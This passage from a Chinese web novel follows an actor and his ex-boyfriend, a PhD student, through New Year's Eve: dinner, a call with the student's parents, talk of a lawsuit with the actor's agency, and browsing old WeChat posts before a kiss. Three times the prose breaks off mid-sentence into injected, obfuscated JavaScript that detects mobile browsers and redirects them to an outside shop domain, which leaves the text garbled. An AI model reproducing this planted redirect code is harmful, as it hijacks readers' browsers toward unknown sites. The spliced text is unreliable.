倪珂导演将茜多妮·柯莱特的《谢里》,进行了本土化尝试,将故事编织在了民国时期纸醉金迷的上海,不聚焦于宏大叙事,而将目光对准女性的欲望,进行了一次人性叙事。傅旬在电影里演了男主角“宠儿”谢里,他的外表和柯莱特对谢里的想象很像:皮肤白皙、黑发闪亮,风采迷人,但是有点冷淡。 谢里的母亲托自己的多年好友,教自己的儿子上流社会的生活。谢里和母亲的女友发生了一场忘年之恋,他爱上了妈妈优雅的、宠溺自己的、带自己看到不一样的世界的年长朋友。这是一场悖德而充满了裂痕、岌岌可危的爱情。 因为任性和没有担当,谢里听从父母的安排结婚。 但他对妻子没有爱。 他永远对更成熟包容的年长者充满欲望,而对年少者不屑一顾。他习惯于被照顾。最终,他返回来找妈妈的朋友、自己的情人。 故事结束于上海沦陷。 傅旬演出了谢里身上,介于男人和男孩之间的暧昧状态。她看完《宠儿》之后,觉得傅旬的演技确实很强,虽然没有影后叶南老师强,但是也足以吊打内娱的一堆木头演员了。 电影的镜头很美,镜头之下,傅旬的演技是细腻的。比如在对着妻子说完话之后,谢里轻轻挑了一下眉,这不是为了挑逗,而是在告诉她:“就是这样”,这是一个结束对话的暗示,带着一点不耐烦。她不知道这种细腻的表现,是来自倪珂导演的加成,还是傅旬自己想出来的。 但是,能和大自己十多岁的影后演对手戏,你退我进、互相引诱,乃至于步步紧逼,把一种扭曲畸形的爱欲诠释出来—— 傅旬的演技已经够用了。 她有一段时间觉得傅旬是全内娱张力最强、最会演年下情人的年轻演员。 刚才师兄的弟弟的眼神,让她一下子想起来了傅旬,尤其是谢里看自己新婚妻子的眼神,这种联想很莫名其妙,但是她就是想到了。 师兄朋友的眼睛很好看,真的很像傅旬的眼睛,眼神客气,但是带着冷漠和生疏。 思晴记得她师兄说,他爸妈出门旅游了,所以他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“那我不知道你把我屏蔽了呀,你屏蔽我干嘛?不是故意的、是手滑?哦,你讨厌我。”师兄他弟又小声说了一句:“我心碎了。” 思晴走远了,拐弯骑上了自行车,完全听不清他们两个说话了。她默默低下了头,在心里说:对不起师兄,我真的不知道你朋友圈也会屏蔽人。 但是师兄你弟弟好会撒娇哦。 对着外人冷脸,但是对着你蹬鼻子上脸。 很活泼的活人弟弟。 骑到生活区,人多了起来,思晴锁了共享单车,带着蛋糕回教职工活动中心。 她一边走一边想,觉得师兄他弟的声音,好像也有点像傅旬。傅旬很少用配音——毕竟是电影演员,不用原声,会影响评奖。 就在走进室内的时候,她看见了积雪,突然想起来傅旬昨天发的微博,他说照片是他哥哥拍的。众所周知,傅旬没有亲哥。 我靠,不是吧。 她觉得脑袋里“嗡——”地响了一声,会不会,她刚才看见的真的是傅旬。身高像,眼睛像、声音也像。 傅旬说:“哥哥。” 他师兄旁边的人叫他师兄:“哥哥。” 难道给傅旬拍照的,是她师兄?他们两个的身高差,也确实很像昨天偶遇傅旬和他哥照片里的身高差。 她觉得自己人傻了。 嗯??? 嗯? 嗯????? 真的是傅旬吗?! 错觉,这是错觉对吧。她拿出来手机,开始翻昨天路人拍到的傅旬和他哥哥的背影。她有一种天掉下来砸中了自己的感觉。 不会真的是傅旬吧??? 这和她想象里的演员傅旬不一样。 但真的是傅旬—— 因为零点之后,傅旬在超话里发了自己的年夜饭,桌子上的菜里,有西区食堂的干炸排骨、芝士糯米鸡,还有南瓜烤蛋奶。 干炸排骨上洒了梅子粉,很好吃。 芝士糯米鸡一份十五块。 南瓜烤蛋奶只要两块。 ——留校生思晴晚上也都吃了。 15.第15章 我们的世界 傅旬的粉丝觉得傅旬不爱发微博,其实傅旬对着粉丝已经很有分享欲了,他的微博好歹每个月都有动静,但朋友圈半年都不见得会发一条。 乔知方的朋友圈动态比傅旬多一些,他设置了一个月可见,但很少发日常,偶尔会转发学术会议和学校的学术活动通知。 乔知方和傅旬去学校买晚饭的时候,傅旬听见乔知方的师妹提起来崇礼、滑雪,发现自己没看过这条——乔知方去滑雪就发生在一个月之内,哦哦,看来乔知方发这条的时候把自己屏蔽了。 乔知方说自己就屏蔽了傅旬这一条。 傅旬不信。 乔知方不想和傅旬折腾,准确地说,是他不想被傅旬折腾,于是和傅旬说,不信的话,他可以拿着他的手机自己看。 傅旬说回去再看,乔知方也可以看他的。看他的?乔知方心想,哥们儿,你都不发朋友圈,我就算拿着你手机看,你朋友圈里也没什么东西啊。 傅旬和乔知方说,去买饭吧。乔知方继续和傅旬往西区食堂走了过去。来学校一趟,傅旬明显很高兴,好像他自己也变成了学生一样——那些进入社会后遭遇的拜高踩低、尔虞我诈,全都不存在,他遇见的人都纯真温良,他只用操心今天吃什么。 进了食堂,他跟在乔知方后面点菜。 文理大学的食堂经常有客厨活动,请北京各大酒店的名厨来做菜,春节期间,虽然只开了一个食堂,但菜品丰富,学生吃的不错。 扬州狮子头六元一份,俄式酸黄瓜藤椒鸡十二一份,干炸排骨十五一份,芝士糯米鸡也是十五,贝贝南瓜烤蛋奶只要两块钱。 为了方便学生聚餐,学校免费送带文理大学logo的定制打包盒。 食堂里的学生不少,乔知方和傅旬一起在客厨窗口排了一会儿队。俄式酸黄瓜藤椒鸡卖完了,傅旬不想吃狮子头,乔知方买了一份干炸排骨、一份芝士糯米鸡,顺手带了两块南瓜烤蛋奶。 他问傅旬还想吃什么,食堂里还有其他窗口,二楼有轻食窗口,可以买各种沙拉碗。 傅旬挑了一下眉,开始开心点菜。 傅旬不缺钱,但是和乔知方一起出门,乔知方没让他出过钱。成年人的钱在哪里,爱就在哪里,傅旬喜欢让乔知方照顾自己,享受于乔知方对自己的付出—— 乔知方也确实很喜欢照顾他。 最后,连甜品带主食,两个人一共点了八个菜,一人拎了一堆打包盒,离开了食堂。傅旬提的建议确实很好,蹭文理大学的食堂真不错,来食堂不用等,半个小时就能买完饭,买了一堆,才花了不到两百块钱。 乔知方又骑上电动车,带着傅旬回了家。 回的是傅旬的家。 乔知方洗过手之后,去厨房热菜,傅旬把沙拉放到盘子里,端到了餐桌上。乔知方的手机在他的羽绒服兜里,傅旬听到他的手机响了,去玄关拿了过来,发现是他妈妈在打视频电话,问他接不接。 乔知方盖上了锅盖,想了想,说:“接吧。” 傅旬替他接了视频电话。 “阿姨。”傅旬拿着手机,朝乔知方他妈妈挥了挥手。 “不是……”乔知方的意思是,傅旬接了,把手机给他,他自己说话。 “呀,小旬。”乔知方他妈妈在电话那边叫了傅旬一声。 乔知方捂住了自己的额头。 乔知方听见自己的妈妈问傅旬:“你们在一块儿呢?” “啊,阿姨,在呢在呢,知方在我家。我们两个一起吃饭,阿姨和伯伯吃了吗?” “没有,想起来小智,我给他打个电话。” “知方在厨房。”傅旬把手机递给了乔知方。傅旬和乔知方的妈妈、乔知方的姨妈,关系都不算疏远。其实傅旬能知道乔知方出国交换,就是从他姨妈文宇导演那里问出来的。 乔知方有点尴尬,说:“妈妈。” 傅旬突然在旁边笑了一声,乔知方瞪了他一眼。傅旬每次听见乔知方叫“妈妈”,都觉得特别……可爱。 乔知方和他爸妈关系的很亲近,傅旬觉得很有意思的是,乔知方都这么大了,还能叫他妈妈“妈妈”,但是叫他爸就叫“爸”,有时候也叫“老乔”。可能也正是因为有这样的家人,乔知方才有爱人的能力,不像傅旬。 傅旬在很多段本应该很亲密的家人关系里,都反应冷淡。 乔知方的妈妈把他爸爸叫过来,和乔知方聊了一会儿天,然后让他好好照顾傅旬。 傅旬在一边听着,很赞同地点头,说:“谢谢阿姨。” 啊?乔知方听得无语得直想笑。 他想他什么时候不照顾傅旬了。乔知方和傅旬分手之后,乔知方他妈妈和他爸一直以为,是他欺负了傅旬。傅旬看乔知方的表情总是很幸福,像一个得到了爱并且期待得到更多爱的小孩。 但乔知方有时候很想问:到底谁欺负谁啊—— 他不惯着傅旬,傅旬怎么可能像小孩呢。敏感的、有恃无恐敢吵架的、为难他的、眼里像是有星星的……各种各样别人不知道的傅旬。 傅旬这次很乖很老实,没有对着乔知方他爸爸妈妈控诉乔知方,也没提起来乔知方滑雪骨折的事情。挂了视频电话,乔知方把锅里的芝士糯米鸡盛了出来,煮了十个冻在冰箱里的饺子。 洗手,吃饭。 傅旬拍了几张照片。 八万从客厅跑了过来,想要跳上桌子,傅旬把它抱下去,关进了书房里。它叫了一会儿,就没有动静了,像是去睡觉了。 傅旬其实是想养狗的。 乔知方问傅旬是在哪里捡的八万,傅旬说:“在星光影视园那边,在大兴区,其实是y哥捡的,就是我助理。我们去拍宣传照,我出了摄影棚,看见了小猫,执行经纪身上有猫条,y哥拿着一逗,小猫就过来了,我去找场务要了个纸盒,y哥就直接把猫拎起来放盒子里了。y哥要换房子,就先放我这儿了。我在这边租了房子,八万先住,八万一个月,给它花的,所以就叫八万了。” “怎么不在朝阳区住了。” “烦。” 乔知方用了肯定句,对傅旬说:“工作不顺心。” 傅旬皱了一下眉,难得地说了实话,“可能要和喜浩打官司,喜浩压了我的影视,我进不了组,我的电影存货也不多了,可能今年……我也不知道。打官司比较麻烦,不知道要拖几年。那就……反正,那就歇一歇吧,就当给自己放个假。其实过去几年,我也过得挺累的。” “要打官司吗?我以为你只等着合约到期呢。” “估计要打。工作室这边的帐,有点小问题,是和喜浩的分账有问题,该交的税我都交了,税务应该没大问题。喜浩要六千万的违约金,要不然就打算起诉我。谈不拢的话,该打官司就打,打起来官司肯定不会判赔这么多。但是……有时候我就觉得,好像谁都不能信。” 傅旬轻轻叹了一声,在娱乐圈,利益是很现实的事情,大家可以今天一起讨论艺术,好像人人都很高尚,但是明天就为了钱直接撕破脸,互相攻击、造谣、辱骂,下黑水出阴招,连底线都不要。 傅旬不是很爱接商务代言,他一开始拍的很多片子,都是文艺片,片酬也并不高。等他开始接商业片的时候,限薪令已经颁布了—— 喜浩文化想拿六千万吓住他,但他绝不打算续约。 乔知方明显觉得气氛变沉闷了,他说:“辛苦了。” 傅旬也不吃饭,只看着乔知方,有点委屈地问他:“怎么这么多年,你都不找我呀。我和文宇导演吃饭,有时候会问你的事情。乔知方,你看,我和你姨妈都能相处得这么好,我和你分手了,你就不和我做朋友了?” 乔知方受不了傅旬这样看自己,他觉得心里不好受,低了一下头,说:“那不一样。” “怎么不一样了?” “我要是回头……我们两个,不是能做朋友的关系。” “那我们现在是什么关系?” “就是这样的关系,在一起吃饭。你家有蜡烛吗,要不我们许个愿吧。” “有,y哥女朋友给了我一堆猫罐头和蜡烛,让我给八万做猫蛋糕,我也是蹭到八万的家产了。” 乔知方笑了一下。 傅旬转身去找了蜡烛,把蜡烛插到了南瓜烤蛋奶里。他是会抽烟的,拿了打火机,把蜡烛点燃,然后关了家里的灯。 家里没有开着电视,显得太安静了。 乔知方说:“新年快乐,许个愿吧,傅旬。” “新年快乐。” 乔知方也一起许个愿,他的愿望和自己无关,反复修改论文令人厌恶,但是他知道自己总能毕业。把愿望留给傅旬,他对傅旬感到愧疚,希望傅旬在接下来的一年,工作顺利,得偿所愿。 不知道傅旬许了什么愿望。 两个人把蜡烛吹了。 乔知方说:“我去开灯,我们吃饭吧。” 傅旬说:“吃了饭呢?看春晚。” “嗯……不想看。” 乔知方站起身去开灯,傅旬说:“我记得你之前看的呀,多有过年的氛围感。” “那不是你去春晚唱歌了吗,所以我看了啊。现在你又没电视里,我看春晚干嘛,看春晚催婚?” 傅旬笑了笑,说:“别提了,春晚假唱。那我们看电影吧,你别那么早走,行不行?” 乔知方说:“行,你擦桌子刷锅刷碗。” 傅旬很高兴地答应了,和乔知方聊了一会儿天,开始吃晚饭。傅旬平时能吃的东西不多,所以时间充足的时候,他吃东西总是很慢,乔知方陪他慢慢吃。傅旬问乔知方明天吃什么,乔知方说他不是想吃什锦菜吗,给某个南京人做什锦菜。 傅旬突然开始低头笑。 乔知方莫名其妙,问他:“笑啥?” 傅旬说:“我本来想用南京话夸你,但我一想,南京话夸人好像不好听。” “嗯?” 傅旬用南京话说:“莱斯,摆滴一踏诶,雕得一笔。” 乔知方听懂了最后一句,也有点无奈地笑了一下。其实他每次听傅旬说南京话,都很想笑,傅旬不怎么骂人,至少他没听过傅旬用普通话骂别人,但有一次傅旬在片场生了气,一抬眼突然凉飕飕地冒出来了南京话:“你随家仓跑出来的啊?” 普通话不能骂人,这是演员的基本道德素养,但切换到金陵雅言就没问题了,是吧。 两个人吃完了饭,傅旬收了盘子碗,开始擦桌子,乔知方去把八万放出来了。 傅旬家太大了,八万在书房里睡觉,听见有动静,懵懵懂懂睁开眼睛,小声叫了起来,然后从自己的小毯子上跳下来,跑过去蹭乔知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16906056|191063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方的裤腿。 乔知方把八万抱了起来。 书房里没有拉窗帘,也没开灯,一排书柜贴着墙,柜子里放着傅旬的书、剧本、唱片、VCD光盘、粉丝的信,和奖杯。傅旬是很珍视自己获得的成就的,他爱自己的演员生涯,爱自己的工作,也珍惜每一次工作机会。 其实傅旬是一个很难得的演员,工作态度认真,能理解剧本,有上进心,追求格调而不是追求钱,不乱搞代言收割粉丝的钱包,洁身自好私生活正常。只最后一点,他就已经能打败无数娱乐圈同行了。 娱乐圈从业者的下限很低,乔知方跟组一次,剧组大群里的人人沉默,但私下里有顺着大群撩骚随便加人的,加到了他这里,有搞小团体的,有卖违禁药物的……天南海北、背景不一人聚在一起,有时候让人觉得乌烟瘴气的。 傅旬在圈内人情上的冷淡,是一种自我保护。 傅旬看乔知方不出来,收拾完了餐厅,一边擦手一边问乔知方:“猫丢了?” 乔知方说:“没有丢,看见你的奖杯了。” 傅旬走到门口,问他:“好看吗?” “好看,”乔知方说:“要不是你,我也不会近距离看到它们。要过年了,傅旬,欢迎来到二十八岁,为你感到骄傲的,不只有你的粉丝。” 傅旬说:“你看的奖杯也不少,文宇导演的奖杯不少呢。不只有粉丝骄傲,那你呢,你也为我骄傲?” “怎么不骄傲呢。” “呀,那你不去看我的电影。” “你怎么知道我不去。” 傅旬抬了一下眉,说:“分手之后,你豆瓣都不给我的电影打分了。记得打五星。” “打,打五星,傅旬演得太好了,傅旬,男神。” 傅旬被乔知方夸得去捏他脖子,乔知方,够了啊够了啊,别再夸了,再夸膨胀了。八万喵喵叫,乔知方把它放了下来,两个人和一只猫离开了书房。 傅旬看着乔知方的背影,他喜欢乔知方,当然喜欢乔知方。 在亲密关系里,傅旬对感情的需求很高,如果他爱的人是一个患得患失的人,那他们两个完全不会长久。乔知方不一样,他在乔知方的身上,可以获得其他人给不了他的安全感。乔知方的情绪很稳定,并且也不会生出不配得感,他不是傅旬的粉丝—— 他不会觉得自己哪里配不上傅大明星。 影视剧习惯于塑造高尚的有钱人,但是现实里多的是恶毒的有钱人,指指点点,傲慢十足,把不如自己的努力普通人称为“农民”“底层人”,需要所有人讨好自己…… 有钱人提金钱,是因为除此之外,一无所有,对吧? 但乔知方不一样,乔知方很低调,要不是在剧组遇到了乔知方,傅旬根本不知道他姨妈是文宇导演。乔知方做学术前途光明,人品过硬,有同理心—— 傅旬有时候会觉得,如果乔知方不和明星恋爱的话,就不需要那么累,也不需要让渡那么多隐私,或许反而更幸福。傅旬也知道,自己不太会照顾人,他只喜欢让乔知方照顾自己,乔知方会不会累呢? 看吧,傅旬是会多想的那一个,是敏感而患得患失的那一个。 所以他需要乔知方。 他问乔知方:“你不喝酒,我找点气泡水。我们一会儿看阿伦·雷乃导演的电影?” 阿伦·雷乃,新浪潮电影导演,意识流,自白,碎裂的片段,作家电影,对“故事性”的拒斥和革命,文艺片中的形而上学文艺片。乔知方只有写论文需要,才会看这种电影,他问:“可以说不行吗?” 傅旬眨了眨眼,心生歹计,说:“那看西奥·安哲罗普洛斯。” 乔知方说:“哥们儿,你饶了我吧,我一看这种电影就想写论文。大过年的,换点不学术不费脑子的行不行?” 傅旬歪头笑了起来,眼睛弯弯的,哄乔知方说:“看嘛~” 看嘛~ 他看着乔知方,眼睛里满是笑意,温柔得像是要溢出来了。 乔知方看着傅旬的表情,和鬼迷心窍一样,只能说:“行,看,看还不行吗。” 傅旬说:“反正也就是当背景音乐放着。” “那不放点喜庆的?” “不够私密,”傅旬摇摇头,说:“乔知方,我就是这样,又无聊,又装,内心阴暗,但我都让你知道,而且你也得都喜欢。你知道我什么样,你都喜欢,对不对?” 乔知方说:“不装,一点都不装,怎么就算装了,我们傅旬是特别有内涵的文艺工作者。” 傅旬笑了起来,“你阴阳怪气呢?” “我说的很真诚,好吗?” “不信。” “嗐,不信啥呀。”乔知方说:“不看西奥·安哲罗普洛斯,那我们看亚历山大·索科洛夫,看克里斯·马克——看其他人都不看的电影,用电影构建一个世界,把其他人都排除在外面,其他人都不准进入。你说好不好?” “其实看什么都行。”傅旬说。他的笑意有点暧昧,乔知方看着他细微的表情,觉得事情不妙,傅旬想撒娇——有所欲求,准没好事。 傅旬说:“哥,其实我是想看看你的朋友圈。”看电影有什么意思啊,你过去的生活才是我更想知道的—— 你说了要给我看了,我要开始算账了。 不许拒绝。 16.第16章 大天使昂热丽克 傅旬从冰箱里拿了一盒冰块和几瓶气泡水,和乔知方在客厅地毯上坐着看电影。电视里在播什么电影无关紧要,大屏幕没有小屏幕好看—— 傅旬拿着乔知方的手机,翻看他这几年的朋友圈。 康涅狄格州,Silver Sands State Park,落日的时候,一轮月影已经高悬,海水涨上来,淹没部分沙滩。在橙蓝交映的黯淡天空下,没有被海水吞没的沙地颜色银黑,遥看如同断桥。 傅旬说乔知方在沙滩上看日落的那天,自己好像正在准备参加金鸡奖颁奖典礼。去年的金鸡奖在厦门颁奖,厦门是个海边的城市,但傅旬是去工作的,并没有去看海。 日落好看吗? 乔知方说:“挺好看的,但是那天我很想回国,对着美国的海,很奇怪,我只想起来被分开的银河,就是隔开了牛郎织女的那个。” 傅旬说:“呀,是想我了吗。” 乔知方笑了,“别自作多情。” 傅旬嚷嚷说:“我自作多情,是你总是问心有愧好吗?” 乔知方妥协说:“好好,我想你了,对,是因为想你。” 傅旬开始笑,继续往下翻乔知方的朋友圈。下一条是帮朋友转发的普林斯顿东亚系的重阳节活动,地点在Jones Hall 202,没有乔知方本人的影子。 再下一条隔了一个多月,从普林斯顿出发,开车去Sandy Hook Beach,沙滩在新泽西州东南部,是个很小众的景点。又是落日时分,大西洋狂暴,湾流绯红。 纽约的天际线,在海浪上起伏。 傅旬问乔知方美国好不好,为什么不一开始就去美国读博。 其实乔知方的硕导也问过乔知方,不考虑去美国吗?申耶鲁大学需要精通三门外语,乔知方已经满足了语言条件,但是乔知方没有去美国的想法。 乔知方的姨妈就住在美国,他觉得中国人在美国做学术,尤其是做文科研究,遇到的学术环境并没有那么包容: 美国人在骨子里是很傲慢的,如果你是亚洲人,那么你只能在美国做亚洲研究。什么,你说你可以做好欧美研究,不,你不可以的,noli me tangere,不要碰其他地方。 乔知方不太喜欢这样。 学术的事情留给学术圈就好了,傅旬问乔知方为什么不一开始就去美国读博,乔知方歪了歪头,特别无奈地笑着说:“唉,还去美国呢,我现在都后悔读博了。” 傅旬于是也笑,安慰他说:“我以为我们乔老师很爱学习呢,快了快了,这不是快毕业了吗。加油,乔小葵。”他做了一个加油的手势。 加油乔小葵?乔知方无语地笑了一下。 傅旬继续往下看乔知方朋友圈,乔知方的朋友圈动态不多,毕竟他不是去国外度假的。美国的博士不好读,系里三分之二的人都在延毕,切身处在这种环境里,每周又有六七百页材料需要阅读,乔知方刚过去了一个星期,就挂上了黑眼圈,大部分时间都没心情拍照。 往下翻着翻着,傅旬难得看到乔知方露了脸,乔知方和几个同学晚上从燧石图书馆出来,乔知方迅速跑了—— 好吧,其实也没看清脸。 很抽象的一条朋友圈,但是能看出来乔知方那个时候的心情不错。 傅旬说:“跑什么呢?” 乔知方说:“哎呀,学爽了。” “你不是写了‘开饭,先到先得’吗?是吃饭去了吧。” “不是说书中自有千钟粟吗,我先来图书馆,所以我先吃饱喝足了啊。” 傅旬捂脸笑,真抽象啊乔知方。 乔知方说:“其实是中国同学做饭了,我跑着抢饭去了。” “做的什么饭?” “蛤蜊肉末意大利面,水煮肉片。” “抢到了?” “这是可以说的吗,其实做的不好吃。” “不可以说,吃人家的嘴软好吗,”傅旬眼睛弯弯的,“感觉你过得还挺开心的,好像我也变成学生了,有点怀念。但上学的时候,我经常会觉得很烦。” “你们学校不太一样,我上学的时候不工作,但你们要进组的。其实上学上久了,我也烦。”地暖太足,乔知方觉得有点热了,拿起来气泡水,喝了一口,傅旬拿的气泡水简直有和酒一样的效果,喝得人头脑昏沉,有种微醺的错觉。 傅旬挑了一部意识流的喜剧片《佛蒙特州的月光》在电视上放,电影里有大量的爵士乐配乐,艾拉夫人的音色近乎完美,在小号声里轻轻唱歌,音乐像是太阳照在身上一样,让人觉得慵懒。 傅旬很克制,他从来不问乔知方要不要看同性电影,乔知方大概率是不会看的,乔知方不怎么喜欢看男同电影。 所以,对乔知方来说,傅旬是很特殊的。 特殊到乔知方不是很在意他的性别。 又或者说,乔知方很在意他的性别,在所有同性里,他只这样在意他一个人。 其实乔知方的很多照片都存在相簿里,并不发出来。乔知方和傅旬分手之后,没有再谈恋爱,没有心思、没有力气,最后,开始写论文了,没有时间。 傅旬再怎么翻他的朋友圈,也不会翻出来会让自己不高兴的东西。 再往下翻,就是一些疫情期间的记录了。 乔知方毕业的师姐受南大社的邀请,翻译巴塔耶诗文集,乔知方做了其中的一部分翻译。师姐翻译了《Les Larmes d''Eros》,他翻译了《L''archangélique et autres poèmes》里的一部分诗,所以出版之后,他转发了书讯。 爱神的眼泪,大天使昂热丽克。 巴塔耶总是把爱、性、死亡和极致的消耗联系在一起,卑贱与神圣并置,情色的边界与神圣性的边界并无不同—— 爱就是濒死/爱就是爱上死/猴子们濒死发出难闻的气味 够了我但求一死/我过于懦弱无力赴死/够了我累了 够了我爱你像一个疯子 assez je t’aimeme un fêlé,够了我爱你像一个疯子。 傅旬点进去看了乔知方转发的公众号推文,沉默了一会儿。乔知方好像从来都是理性的,他可以翻译“我爱你像一个疯子”,也可以欣赏这首诗里非理性的、濒临崩溃的极致的爱,但是他好像永远不会这样做。 傅旬不想问乔知方,他翻译这首诗的时候会不会想起来自己。 乔知方这个人,好像从来都不会发疯。 不发疯吧就不发疯吧,他偏头看了乔知方一眼,很想亲吻他。 眉眼锋利的乔知方。 在我身边,你就在我身边。 傅旬拿着乔知方的手机,乔知方也不找他要回来。傅旬继续往下划,其实乔知方不爱发朋友圈,有时候一个月也不见得发一条,老师的论文资讯、文大的学术会议通知、用理光GR3相机拍的导师和毕业的硕士师弟师妹……往下划着,他看到了台湾的定位。 他问乔知方是过去散心旅游了吗,乔知方说怎么可能,他是去台湾找图书资料的,过去一趟,来回隔离了将近一个月。 按照傅旬对乔知方的了解,他觉得接下来他会看到台湾的图书馆—— 然而,乔知方只发了一块带包装的凤梨酥,放在一本国立清华大学的学报期刊上,“排了好久的队”。 排队,是排什么的队?借书的,还是凤梨酥的。 凤梨酥是佳德糕饼店的。 傅旬的心里忽然涌起了一阵泡沫碎开了的感受,酥酥的,麻麻的,又有一点说不清道不明的痛感。他还在和乔知方谈恋爱的时候,去台湾参加颁奖典礼。那个时候,是傅旬第一次去台湾,他整个人都很兴奋,看什么都觉得新鲜。典礼结束,他去佳德排队买了两盒凤梨酥,给乔知方发消息说台湾湿润多雨,感觉很不一样。 滴水观音成丛生长,榕树的气根垂下,有如一道帘幕。 排队的时候,他被雨淋湿了。 佳德的凤梨酥里,放了很多冬瓜。冬瓜比凤梨多的话,吃起来口感绵密。 佳德的凤梨酥好像很甜,或许有一点酸?傅旬有点忘记它的味道了。但是他还记得台湾湿润到让他觉得无法呼吸的气候,雨水打在身上,他排着队,只觉得幸福。 他怎么能不感到幸福,电影获得了奖项提名,他的爱人在祝贺他、等待他,他还那么年轻。春风得意,好像就是这样的感觉,他觉得自己前途光明。 他觉得自己满腔爱意饱涨得无处安放。 后来对着其他人,他再也没有这样动心过了。 乔知方翻译法国人的诗,他不敢确定和自己有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16916055|191063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有关系,但是买凤梨酥,肯定有关系。他突然发现——突然再次发现了,乔知方这个人,爱一个人的时候,总是特别隐晦。 乔知方没有不爱他。 傅旬扭头看着乔知方,有点认真地问他:“你是不是想我了。” 乔知方不知道傅旬的语气为什么一下子低下来了,说:“嗯……” 傅旬说:“不许说‘没有’。” 乔知方说了实话:“呃……有。” 傅旬说:“唉,乔知方,你知道吗,前年亚洲电影大奖,我拿了最佳男配,好多人都给我发微信消息祝贺我。但那天我觉得很难过,因为我最希望收到祝贺的人,删除了我的联系方式。” 我最希望听到祝贺的人,删除了我的联系方式。 傅旬练了很多年台词,他说话的语气、语速,和语调的轻重,都能恰如其分地传达他的情绪。 前年亚洲电影大奖,好像是在澳门举办的。澳门,离珠海那么近。 乔知方忽然察觉到了自己的无情。 他的手放在玻璃杯上,气泡水和冰块的凉意,顺着他的手心往他的身上倒灌,压得他觉得呼吸好像也不再轻易。 傅旬说话的速度不快,没有任何咄咄逼人的意思,只是在叙事:“我有时候就忍不住很恨你,你看着对我很包容,可你这个人,好像又一点都不讲感情,理性起来,就冷得吓人。你以前对我特别好,我们两个分手了,你真的就不理我了。我以为都分手了,你不会想我呢。” “没有不想你。”乔知方觉得心里不太好受,他放下了玻璃杯,说:“我就是想着,既然我们两个付出了很痛苦的代价分了手,那就应该都往前走,都变得更好,不要对不起这个代价……我看你过得很好。” “是,没有谁离了谁就死了,我没了你也想往前走,想演更多电影、电视剧,获得更多机会,获得更多角色。但是我很想你。要是我过得不好,你就会回来是吧?” 乔知方不敢看傅旬,含含糊糊地说:“可能是吧。” 傅旬听他还敢承认,直接气笑了,叫了一声“乔知方”,问他:“你是有骑士病是吗?我过的不好,你就回来,过的好你就头也不回地往前跑了——《山河故人》里有一句台词怎么说的来着,跨步迈向新世纪。” 乔知方不了解自己,还能不了解傅旬吗,他说:“但你不是那种人啊,我认识的傅旬心气很高,不会因为分手就一蹶不振,只会更努力工作,证明自己值得更好的。” “哼,”傅旬用抱怨的语气说:“你就最好,best,没有比较级了,我这里没有better。” 乔知方笑了一下,说:“你的英语很good,谢谢你啊。”他突然想起来傅旬考四六级的事情,傅旬是本科期间就能考过六级的北电学生,对毕业不要求英语成绩的表演生来说,这很难得。 我们的傅旬,从学生时代起,就很努力,就很出色。 所以,乔知方所认识的傅旬,是一个很有韧劲,就算憋着一口气也要往上走的人。 傅旬盯着他,轻轻挑动了一下眉头。 乔知方关注着他的所有表情,问:“怎么了?” 傅旬哼哼了一声,乔知方也不知道他是怎么发出来这种类似于小狗哼唧的声音的,他说:“不用谢了,你可以亲我一下吗。” 乔知方纳闷,问:“这是可以商量的吗?” 傅旬说:“那我总不能强吻你吧!” 乔知方又开始笑,不知道话题是怎么拐到这里去的。 他问:“干嘛呀,不是聊天呢吗。” “谁想和你聊天,你就打算和我聊完电影聊文学、聊完文学聊哲学,就这样聊到大天亮是吧?我不信你不知道我想干什么。” 乔知方抬眼看傅旬,像是观察他一样,故意盯着他,问:“想干什么呀?” “……” 乔知方怎么可能不知道傅旬想干什么。 傅旬一直在看他的嘴唇。 屋子里很热,燥热。电影配乐里的小号声暧昧绵长。 傅旬还是在看乔知方,乔知方不想继续逗傅旬玩了,傅旬喜欢摸摸他碰碰他,难道他就不喜欢碰傅旬吗?他的眼神沉了下来,对傅旬说:“你自己说的啊,让我亲你,别之后滋儿哇乱叫,说我不负责。”说完拉住了傅旬的衣领。 傅旬眯了一下眼睛。